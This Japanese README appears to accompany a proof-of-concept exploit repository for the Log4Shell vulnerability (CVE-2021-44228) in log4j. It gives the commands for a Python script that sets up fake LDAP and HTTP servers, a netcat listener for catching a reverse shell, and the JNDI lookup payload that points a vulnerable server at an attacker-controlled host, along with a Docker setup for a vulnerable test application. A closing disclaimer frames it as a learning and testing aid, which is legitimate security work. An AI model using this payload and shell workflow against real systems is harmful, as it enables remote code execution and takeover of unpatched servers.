
最近発見されたCVE-2021-44228脆弱性の概念実証(PoC)です。
最近、log4jに新たな脆弱性が見つかりました。log4jは、elasticsearch、minecraft、その他多数で非常に広く使用されているJavaロギングライブラリです。
このリポジトリには、脆弱なアプリケーションの例と、それに対する概念実証(POC)エクスプロイトがあります。
PoCとして、プロセスを自動化するPythonファイルがあります。
pip install -r requirements.txt
nc -lvnp <netcat-port=example=2034>
jdk1.8.0_20であり、同じディレクトリにある必要があります。$ python3 poc.py --userip <your-ip-address> --webport <web-server-port=default=8000> --lport <netcat-listen-port=default=2034>
[!] CVE: CVE-2021-44228
[+] Exploit java class created success
[+] Setting up fake LDAP server
[+] Send me: ${jndi:ldap://<your-ip-address>:1389/a}
Listening on 0.0.0.0:1389
このスクリプトは、HTTPサーバーとLDAPサーバーをセットアップし、脆弱なパラメータに貼り付けるためのペイロードも作成します。その後、すべてがうまくいけば、lportでシェルを取得できるはずです。
脆弱なWebアプリケーションを含むDockerfileがあります。以下の手順に従って使用できます:
1: docker build -t log4j-shell-poc .
2: docker run -p 8080:8080 log4j-shell-poc
起動したら、localhost:8080でアクセスできます。
注意: パッケージをダウンロードするには、アカウントを作成する必要があります。
アーカイブをダウンロードして展開すると、jdk1.8.0_20/binにjavaと関連するいくつかのバイナリがあります。
注意: 機能させるには、jdkフォルダをこのリポジトリに同じ名前で展開してください。
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
このリポジトリは、CVE-2021-44228に対するワンクリックエクスプロイトを意図したものではありません。このプロジェクトの目的は、人々がこの脆弱性について学び、おそらく自分のアプリケーションをテストできるようにすることです(ただし、この目的にはより適したアプリケーションもあります。例:https://log4shell.tools/)。